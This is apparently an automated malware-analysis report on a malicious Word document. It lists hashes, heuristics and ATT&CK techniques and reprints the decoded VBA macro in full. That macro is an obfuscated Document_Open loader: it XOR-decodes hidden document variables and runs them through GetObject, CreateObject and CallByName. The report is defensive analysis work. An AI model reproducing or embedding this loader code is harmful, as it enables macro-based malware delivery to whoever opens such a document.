Malicious Office (OOXML) / .DOC — malware analysis report

Static analysis result for SHA-256 ae06e33b60233615…

MALICIOUS

Office (OOXML) / .DOC

19.2 KB Created: 2023-06-10 13:31:27 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2023-06-13
MD5: 37e9d7281cbb5b64a1ea1b331c7faf9a SHA-1: f87092d04c200690fda2f29f6b531122ea116183 SHA-256: ae06e33b60233615ed9b3c6f6bd150e65a97bd5447998e2d16954000b55db8a2
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1071.001 Web Protocols

The sample is an OOXML document containing VBA macros, indicated by the 'OOXML_VBA' and 'OLE_VBA_DOCOPEN' heuristics. The presence of 'CreateObject', 'GetObject', and 'CallByName' calls, along with 'VBA p-code auto-exec with execution tokens', suggests the macro is designed to execute arbitrary code. The 'macros.bas' file and 'vbaProject_00.bin' are identified as embedded VBA artifacts. While the specific payload is not directly visible due to truncation, the overall pattern points to a macro-based downloader, a common initial access vector via spearphishing attachments.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Approx = GetObject(Trembl).CreateObject(ExcEEd)
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set Approx = GetObject(Trembl).CreateObject(ExcEEd)
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    CallByName Approx, Statutory, VbMethod, Frequent, 0
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
                                            Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4465 bytes
SHA-256: 80d16f76d23fb473fd5b2d25b818dcad536588da39e5b4dbeb454d6238cd0a6f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit







                                                                        Private Trembl As String
Private ExcEEd As String
Private Statutory As String








                                                                Private Function Francis(ByVal Platforms As String) As Variant








                                                                            







                                                            Dim Rocks As Long: Rocks = 0: Dim IncreasIngly() As Byte: Dim Messaging() As Byte, Poems As String, AuthenticAtion As Integer






                   Messaging = "m154c68cfb"







                                        GoTo Suddenly
SeekS:





                                                            Dim Stadium As String
Stadium = InputBox("temper cool")







Carpet:






               





                                        If Rocks < UBound(IncreasIngly) Then





                AuthenticAtion = Rocks Mod (10)





             GoTo Steam






Literary:







          Poems = Poems & Chr(IncreasIngly(Rocks))
Rocks = Rocks + 1







                GoTo Carpet
Else







          




                                            





                                                                        GoTo Protective







                  End If







PhiliP:








                                        Dim EngagEmEnt As String







                EngagEmEnt = InputBox("setem ponutn")





Protective:
Francis = Poems
Exit Function
Suddenly:
IncreasIngly = AutomAted(Platforms)
GoTo Carpet
Steam:
IncreasIngly(Rocks) = Abs(IncreasIngly(Rocks) Xor Messaging(AuthenticAtion * 2))
GoTo Literary
End Function
Private Sub Graham()
Dim Approx As Object
Dim Frequent As String






            GoTo Literary







          




Loose:





               Statutory = Francis(Statutory)
RestoRation Approx, Frequent
Exit Sub
Powder:






                                                    Trembl = Francis(Trembl)
Frequent = Francis(Frequent)
ExcEEd = Francis(ExcEEd)
Set Approx = GetObject(Trembl).CreateObject(ExcEEd)






              GoTo Loose






                






                                                                Dim Poems As String
Poems = InputBox("pass")
MsgBox Poems








            Trembl = Poems
Literary:
Trembl = ActiveDocument.Variables("o777").Value: Frequent = ActiveDocument.Variables("b25ab").Value: ExcEEd = ActiveDocument.Variables("p8267").Value: Statutory = ActiveDocument.Variables("hb28").Value







                  GoTo Powder
End Sub








                                                                            Sub RestoRation(ByVal Approx As Object, ByVal Frequent As String)
CallByName Approx, Statutory, VbMethod, Frequent, 0
End Sub







                                        Sub Document_Open()
GoTo Vincent
Dim EngagEmEnt As String
EngagEmEnt = InputBox("Put err code")
Dim Stadium As String
Stadium = InputBox("Optimisrt")
MsgBox Stadium








Vincent:
If EngagEmEnt = "" Then
Graham
End If








                                                            End Sub
Private Function AutomAted(ByVal PhiliP As String) As Variant
Dim Poems() As Byte, i As Long, AuthenticAtion As Integer, Vincent As Integer
Vincent = Len(PhiliP) / 2: i = 0: ReDim Poems(0 To Vincent) As Byte
EngagEmEnt:
If i < Len(PhiliP) Then
AuthenticAtion = AuthenticAtion + 1








                Poems(AuthenticAtion - 1) = Chr(14 + (12 * 2)) & Chr((16 + (4 * 5)) * 2) & Mid(PhiliP, i + 1, 2)








                                            i = i + 2
GoTo EngagEmEnt
Else
GoTo Stadium
Dim Steam As String
Steam = InputBox("Autoscale calculation")








                                                End If
Stadium:
AutomAted = Poems
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16896 bytes
SHA-256: aa8ca3cc6b1d58c6faecf6481609a18ed7ac6558dfd4e7af9a148dd53692414c

Open this report in the interactive analyzer, or submit your own file for analysis.